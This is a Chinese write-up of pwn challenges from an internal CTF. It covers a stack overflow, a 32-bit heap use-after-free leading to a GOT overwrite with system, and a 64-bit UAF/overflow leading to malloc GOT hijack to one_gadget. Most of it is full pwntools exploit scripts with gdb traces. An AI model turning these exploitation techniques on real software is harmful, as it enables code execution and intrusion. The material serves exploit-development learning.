同时也是公司内部CTF的pwn wp。今年CTF其他题都不太难,没有什么好讲的,就讲讲pwn了。
所有题都放在https://github.com/kezibei/pwn_study
1. baby
可能是觉得放出的前两道堆题对于选手来说有点朝纲,于是另外放一道入门题给大家娱乐娱乐,甚至这题比ret2text可能更简单。
跟进play()
跟进printFlag()
标准栈溢出gets,满足v1=100即用printFlag()读取/flag。这题做不出来感觉就基本告别pwn了。
很显然,是让你用栈溢出修改v1的值。那么v1的值放在哪个地址呢?偏移量是多少呢?
上gdb。
gdb ./baby
b play
r
n 5
n
AAAA
刚好来到比较v1和0x64的大小,确定在rdp-4
stack 50
p/d 0x7fffffffe000-0x4-0x7fffffffdef0
那么exp就很简单了
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
sh = process("./baby")
sh.recvuntil("Your answer:")
sh.sendline("x00"*268+p64(0x64))
print(sh.recvline())
print(sh.recvline())
2. panote
实战中这题没做出来,只做到通过任意地址跳转泄露libc了。
这题没有提供libc,远程探测发现不支持直接double free(),所以libc版本至少在2.27以上。本地做的时候我用的2.27-3ubuntu1_i386。
先看main,只有增删查,没有改。
add()
从代码中我们可以获取如下信息。
1,有count限制了只能add 5个
2,存在chunk list也就是note_list
3,在真正的malloc(size)之前还有个malloc(0x8)
4,malloc(0x8)中会存放puts_note的地址。
通过动态调试来感知add具体做了什么,添加一个大小为0x8,内容为AAAA的chunk。
可以看到,count+1,0x10大小的chunk多了两个,note_list上记录着chunk160,chunk160为puts_note()的指针(0x08049296)和chunk170的指针。chunk170上记录着我们真正存放的信息AAAA。这个堆题的结构就一目了然。
再看delete()
非常非常直接的UAF,没有操作count和note_list,delete之后的相关地址变化如下。
可以看到几乎没什么变化,只有chunk160原本存放puts_note地址的地方因为free()变成了fd指向chunk170。
最后看show()
其中最核心的就是这段各种强转的伪代码,光看这个可能不太明白,但是看汇编以及动态调试就能明白。
最核心的就是这个call eax,如果eax能够控制,岂不是就变成了任意地址跳转?
动态调试如下。
b print_note
r
1
8
AAAA
3
n 30
0
n
然后慢慢n到call eax处。
此时eax就是chunk160存放的puts_note,而传进去的arg[0]和arg[2]比较重要(32位传参在栈上),为chunk160的地址(0x804d160)和(0x4)。
跟进去puts_note后,发现它将0x804d160+0x4的存放的地址,也就是chunk170中的内容AAAA打印出来了。
那么让这题报错的方法就出来了,先add,再delete,最后show,由于chunk160存放的puts_note指针因为free()变成了fd指向chunk170。导致会call 0x804d170,而这题的heap段是不可执行的,因此报错。
这样看起来只要控制了fd,就变成了一个任意地址跳转,而由于存在UAF,控制fd和bk的办法很简单,只需要free()让chunk进入tcache,再add回来就行了。这样我们会用有两对重叠的chunk。
add(8, "AAAA")
delete(0)
add(8, "BBBB")
可以看到,这样操作之后,虽然实际还是只有两个chunk,但note_list上记载了两个一模一样的chunk。
不过光这样还不够,因为一次add会生成两个,其中chunkA存放地址,chunkB存放字符串,delete再add之后,新的chunkC会使用chunkA的位置,重新在里面写入地址。而我们的目的是让chunkD使用chunkA的位置,这样才能改写地址,用show()去call我们想要的地址。
所以这里需要先add(8),再add(16),然后全部free()掉,这样就会只出现3个0x10大小的tcache,接着add(8),就会错位让存放字符串的chunk,使用存放地址的chunk位置了。
add(8, "AAAA")
add(16, "BBBB")
delete(0)
delete(1)
add(8, "CCCC")
可以看到此时,chunk160原本应该存放puts_note地址的位置放着CCCC,show(0)就会因为call 0x43434343报错。
那么我们实现了任意地址跳转,那么跳转到哪个地址有用呢?这题没有后门函数,只能泄露libc,而通过我们之前的分析,这儿本来存放的puts_note是用来打印chunk170上存放的字符串,那么我们只需要将CCCC改成p32(puts_note)+p32(addr),就可以实现打印任意地址上的值了。也就可以泄露libc了。那么一阶段代码如下。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
#sh = process("./panote")
sh = gdb.debug("./panote","c")
#sh = remote('xxx',50532)
def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Note size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.sendline(content)
def delete(index):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(str(index))
puts_addr = 0x8049296
libc_main_got = 0x804c024
add(8,"A"*8)
add(16,"A"*16)
delete(0)
delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))
show(0)
libc_main_addr = u32(sh.recvline()[0:4])
print(hex((libc_main_addr)))
sh.interactive()
泄露出libc,接下来呢,重复一次delete和add,继续篡改chunk160?
我最开始没能完全理解那段call eax的意思,以为可以直接将p32(puts_note)+p32(addr)换成p32(system_addr)+p32(bin_sh_addr)达到getshell的目的。实际上从之前分析的传参可以看得出来,arg[0]实际上是0x804d160,是puts_note自己再进行处理puts(*(const char **)(a1 + 4)),获取0x804d160+0x4位置的字符串并打印出来。
也就是说,call eax差不多等于puts_note(puts_note),这儿替换成system,等于system (system),当然无法执行。
add(8,"A"*8)
add(16,"A"*16)
delete(0)
delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))
show(0)
libc_main_addr = u32(sh.recvline()[0:4])
print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200
bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cf
delete(2)
add(8,p32(system__addr)+ p32(bin_sh_addr))
show(0)
那么one_gadget呢?很遗憾,也不行,具体原因未知,可能是32位下one_gadget的条件比较苛刻的原因。
接下来我的思路就卡壳了,不过很明显有条绝对正确的路,就是劫持puts的got为system。因为几乎没有什么libc中的方法,能在puts_note(puts_note)这种严苛的传参中正常起作用,而在puts(*(const char **)(a1 + 4))这里劫持puts,则可以一举达到我们想要的效果。
请教了下专业玩pwn的,得知这儿只有一个答案,那就是gets, gets的最大优势在于,其他方法都需要传参,参数已经限制住了。而gets除了传参,还可以通过交互shell获得数据。
那么gets有什么用呢?正是向args[0]处(即0x804d160)写入交互时获取的字符串。
add(8,"A"*8)
add(16,"A"*16)
delete(0)
delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))
show(0)
libc_main_addr = u32(sh.recvline()[0:4])
print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200
bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cf
gets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)
add(8,p32(gets_addr))
sh.interactive()
再次动态调试,走到call eax处,发现arg[0]确实为0x804d160。
继续n,输入DDDD,发现0x804d160被覆盖成DDDD,而gets没有大小限制,这意味着我们终于获得了改的功能,可以篡改任意堆的能力。
那么改哪个堆才能达到劫持puts_got的目的呢?那就是下一个tcache的fd,测试下来就是0x804d170
重来一次,这次我们输入AAAABBBBCCCCDDDDEEEEFFFF。
add(8,"A"*8)
add(16,"A"*16)
delete(0)
delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))
show(0)
libc_main_addr = u32(sh.recvline()[0:4])
print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200
bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cf
gets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)
add(8,p32(gets_addr))
show(0)
sh.sendline("A"*4+"B"*4+"C"*4+"D"*4+"E"*4+"F"*4)
sh.interactive()
这次可以很明显的发现EEEE处就是我们可以篡改的fd,篡改此处之后,在一下次add()中,就会把此处当chunk,继而变成一个任意地址写。
再回想一下堆的布局,不难设计出正确正确答案。
sh.sendline(p32(puts_addr)+p32(bin_sh_addr)+p32(0x0)+p32(0x11)+p32(puts_got))
add(8,p32(system__addr))
show(0)
那么最终exp如下。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
sh = process("./panote")
#sh = gdb.debug("./panote","c")
#sh = remote('xxx',50532)
def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Note size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.sendline(content)
def delete(index):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(str(index))
puts_addr = 0x8049296
libc_main_got = 0x804c024
puts_got = 0x804c020
add(8,"A"*8)
add(16,"A"*16)
delete(0)
delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))
show(0)
libc_main_addr = u32(sh.recvline()[0:4])
print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200
bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cf
gets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)
add(8,p32(gets_addr))
show(0)
sh.sendline(p32(puts_addr)+p32(bin_sh_addr)+p32(0x0)+p32(0x11)+p32(puts_got))
add(8,p32(system__addr))
show(0)
sh.interactive()
3. uaf
这题给了libc为2.27,我本地用的2.27-3ubuntu1_amd64做的,还是先看main。
看起来很多,其实本质上还是增(insertMessage),删(delete_msg),改(modify_msg),查(print_msghex)。不过多了一个print_msg是什么呢?其实是这个程序设计了载入的概念,我们先要载入一个msg(包括3个chunk),然后才能使用删改查,同理也需要退出。在载入的时候,会直接把这个msg打印出来。
先看add()
先malloc(0x50)获得一个大chunk,这个chunk上保存了包括chunk_name,chunk_title,chunk_content在内的很多信息。其中有个input_buffer是交互时的临时空间,只会临时存储输入的值,可能有的解法能用上它,但我没有用上。
还是一样,动态调试下看看堆布局。
那三个0x20的小chunk就不说了,主要来看0x60这个大chunk都保存了什么,这里偏移8个字节更清楚。
0x604668: 0x0000000000000061 0x0000000000000000 #chunk size
0x604678: 0x00007fffffffde70 0x0000000000000001 #a1,tail也存储了这个地址(栈上),0x1为msg的编号
0x604688: 0x00000000006046d0 0x0000000000000010 #chunk_name的地址和大小
0x604698: 0x00000000006046f0 0x0000000000000010 #chunk_title的地址和大小
0x6046a8: 0x0000000000604710 0x0000000000000010 #chunk_content的地址和大小
0x6046b8: 0x0000000100000000 0x0000000000000000 #对应 v3[18] = 0;v3[19] = 1;的代码,未知用途
其中a1这个地址很特殊,是栈上的不可预测地址,如果add两次就会发现,msg1存储的这个栈地址变化了。
msg1指向msg2,而msg2再次指向栈,这个规律在后面的堆布局中很重要。
add()分析完了,看delete()
正如它的名字一样,这又是个典型的uaf。不过由于这题没有chunk list,所以是不断循环,去通过heap,tail的设计去进行堆的操作。
接下来是modify()。
这儿的检测大小是为了防止溢出,但并没有根据堆块的大小进行检测,那么很显然可以编辑chunk_name,把下面的chunk_title和chunk_content全部覆盖了。如下图就覆盖到了chunk_title的size。
比较有意思的一点是,对content这块存在特殊处理,居然是重新malloc了一块chunk。
最后是show()
跟进printhex()
代码很简单,根据chunk_0x60中存储的chunk_name等地址和大小,打印出对应的字符串。但存在a2<=16的检测,这意味着我们可以越界编辑,无法越界打印。
了解完全部方法,第一时间想到的就是UAF的经典用法,add之后先delete再edit,劫持fd,最后通过add,达到任意地址写的目的。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
#sh = process("./uaf")
sh = gdb.debug("./uaf","c")
def add(name, title, content):
sh.recvuntil("1.leave your message")
sh.sendline("1")
sh.recvuntil("input you name len:")
sh.sendline(str(len(name)))
sh.recvuntil("input you name:")
sh.sendline(name)
sh.recvuntil("input you title len:")
sh.sendline(str(len(title)))
sh.recvuntil("input you title:")
sh.sendline(title)
sh.recvuntil("input you content len:")
sh.sendline(str(len(content)))
sh.recvuntil("input you content:")
sh.sendline(content)
def to_read(msgid):
sh.recvuntil("1.leave your message")
sh.sendline("2")
sh.recvuntil("input msgid will read:")
sh.sendline(str(msgid))
def delete():
sh.recvuntil("Please select the operate:")
sh.sendline("1")
def edit1(title):
sh.recvuntil("Please select the operate:")
sh.sendline("2")
sh.recvuntil("input new name len:")
sh.sendline("")
sh.recvuntil("input new title len:")
sh.sendline("16")
sh.recvuntil("input new title:")
sh.sendline(title)
sh.recvuntil("input new content len:")
sh.sendline("")
def out_read():
sh.recvuntil("Please select the operate:")
sh.sendline("4")
add("A"*16,"B"*16,"C"*16)
to_read(1)
delete()
edit1(p64(0x6020b0))
out_read()
add("A"*16,"B"*16,"C"*16)
sh.interactive()
这里选择了0x6020b0这个没有用到的地址,在gdb中发现成功写入。
那么岂不是可以直接劫持got了?等等等等,我们连libc都还没泄露呢。
想想该如何泄露libc,这种不限制大小,不限制数量的chunk,岂不是很明显用unsorted bin吗?
add("A"*1280,"B"*16,"C"*16)
to_read(1)
delete()
sh.interactive()
但如何打印unsorted bin的fd/bk成了一个难题,前面的代码分析可得知,show()是会校验chunk_0x60中存储的size的。所以即使delete()之后再show(),也打印不出来。
那么将unsorted bin放在chunk_content的位置,通过编辑chunk_title,越界到chunk_content,篡改它的size,使chunk_content的特殊处理时重新malloc()时恰好和unsorted bin重叠呢?
这种重叠两个chunk的玩法在babyheap2017中我们使用过,但有两个问题。
一是edit也要输入值,会覆盖掉fd/bk,所以只能先edit再delete。
二是如果先edit,chunk_0x60中关于unsorted bin的信息就会丢失掉,所以无法delete了。这种情况只能add两次,然后再进行重叠操作。
学过babyheap2017的都知道这样很麻烦,都add两次了,为什么不直接edit msg1,越界到msg2的chunk_0x60,修改掉关于unsorted bin的size呢?
等等,既然都能修改chunk_0x60中的size信息了,我干嘛不直接修改它存储的chunk_name等地址呢?这样不是直接等于任意地址读和任意地址写?
回顾一下两层msg结构,发现通过msg1的chunk_content越界到msg2中时会经过一个栈地址,这个我们可以通过add第三次,将其变为指向msg3的heap地址。但heap地址也是随机的,也需要泄露。
泄露heap地址非常简单,add,delete,show即可泄露fd。因为这样也满足show的校验。
add("A"*16,"B"*16,"C"*16)
to_read(1)
delete()
show()
print(sh.recvline())
sh.interactive()
那么越界修改时应该是什么布局呢?我们可以先动态调试来看看heap。
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
to_read(1)
delete()
show()
heap_addr = sh.recvline()[85:102].replace(" ","")
heap_addr_true = '0x'
for i in range(0,len(heap_addr),2):
print(heap_addr[-i-2:-i])
heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]
heap_addr_1 = int(heap_addr_true,16)
print(hex(heap_addr_1))
out_read()
to_read(2)
edit("a"*16)
sh.interactive()
可以看到0x6053b0就是我们的起始位置。越界到msg3篡改0x6054b0就是我们的目标。易得。
edit(“a”*16 + p64(0) + p64(0x21) + “a”*16 + p64(0) + p64(0x61) + p64(0) + p64(0x6054b0) + p64(0x3) + p64(libc_main_got))
其中0x6054b0是heap段随机位置,可以用我们提前泄露得heap_addr_1做相对位置处理。
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
to_read(1)
delete()
show()
heap_addr = sh.recvline()[85:102].replace(" ","")
heap_addr_true = '0x'
for i in range(0,len(heap_addr),2):
print(heap_addr[-i-2:-i])
heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]
heap_addr_1 = int(heap_addr_true,16)
print(hex(heap_addr_1))
out_read()
to_read(2)
libc_main_got = 0x601ff0
edit("a"*16 + p64(0) + p64(0x21) + "a"*16 + p64(0) + p64(0x61) + p64(0) + p64(heap_addr_1+480) + p64(0x3) + p64(libc_main_got))
out_read()
to_read(3)
show()
sh.recvline()
sh.interactive()
完美泄露libc。
然后就是got劫持了,这里选择了malloc(),因此我们可以一步到位,越界修改的时候就直接用malloc的got,这样避免edit两次。最后一次edit()的时候,劫持malloc_got到one_gadget,还会因为chunk_content的特殊处理直接触发malloc,获得shell,非常巧妙。
最终exp如下。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
#sh = process("./uaf")
sh = gdb.debug("./uaf","c")
def add(name, title, content):
sh.recvuntil("1.leave your message")
sh.sendline("1")
sh.recvuntil("input you name len:")
sh.sendline(str(len(name)))
sh.recvuntil("input you name:")
sh.sendline(name)
sh.recvuntil("input you title len:")
sh.sendline(str(len(title)))
sh.recvuntil("input you title:")
sh.sendline(title)
sh.recvuntil("input you content len:")
sh.sendline(str(len(content)))
sh.recvuntil("input you content:")
sh.sendline(content)
def to_read(msgid):
sh.recvuntil("1.leave your message")
sh.sendline("2")
sh.recvuntil("input msgid will read:")
sh.sendline(str(msgid))
def delete():
sh.recvuntil("Please select the operate:")
sh.sendline("1")
def edit_title(title):
sh.recvuntil("Please select the operate:")
sh.sendline("2")
sh.recvuntil("input new name len:")
sh.sendline("")
sh.recvuntil("input new title len:")
sh.sendline(str(len(title)))
sh.recvuntil("input new title:")
sh.sendline(title)
sh.recvuntil("input new content len:")
sh.sendline("")
def edit_name(name):
sh.recvuntil("Please select the operate:")
sh.sendline("2")
sh.recvuntil("input new name len:")
sh.sendline(str(len(name)))
sh.recvuntil("input new name:")
sh.sendline(name)
sh.recvuntil("input new title len:")
sh.sendline("")
sh.recvuntil("input new content len:")
sh.sendline("")
def out_read():
sh.recvuntil("Please select the operate:")
sh.sendline("4")
def show():
sh.recvuntil("Please select the operate:")
sh.sendline("5")
sh.recvline()
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
add("A"*16,"B"*16,"C"*16)
to_read(1)
delete()
show()
heap_addr = sh.recvline()[85:102].replace(" ","")
heap_addr_true = '0x'
for i in range(0,len(heap_addr),2):
print(heap_addr[-i-2:-i])
heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]
heap_addr_1 = int(heap_addr_true,16)
print(hex(heap_addr_1))
out_read()
to_read(2)
malloc_got = 0x602050
edit_title("a"*16 + p64(0) + p64(0x21) + "a"*16 + p64(0) + p64(0x61) + p64(0) + p64(heap_addr_1+480) + p64(0x3) + p64(malloc_got))
out_read()
to_read(3)
show()
malloc_addr = sh.recvline()[26:49].replace(" ","")
malloc_addr_true = '0x'
for i in range(0,len(malloc_addr),2):
print(malloc_addr[-i-2:-i])
malloc_addr_true = malloc_addr_true+malloc_addr[-i-2:-i]
malloc_addr_1 = int(malloc_addr_true,16)
one_gadget = malloc_addr_1 - 0x097070 + 0x10a38c
print(hex(malloc_addr_1))
edit_name(p64(one_gadget)+p64(0))
sh.interactive()
真正做这题时,由于经验缺乏,我还是老老实实的篡改unsorted bin的size,利用uaf劫持fd。完整回顾一遍就发现实际上直接篡改chunk_0x60就行了。
原文始发于微信公众号(珂技知识分享):web选手入门pwn(12)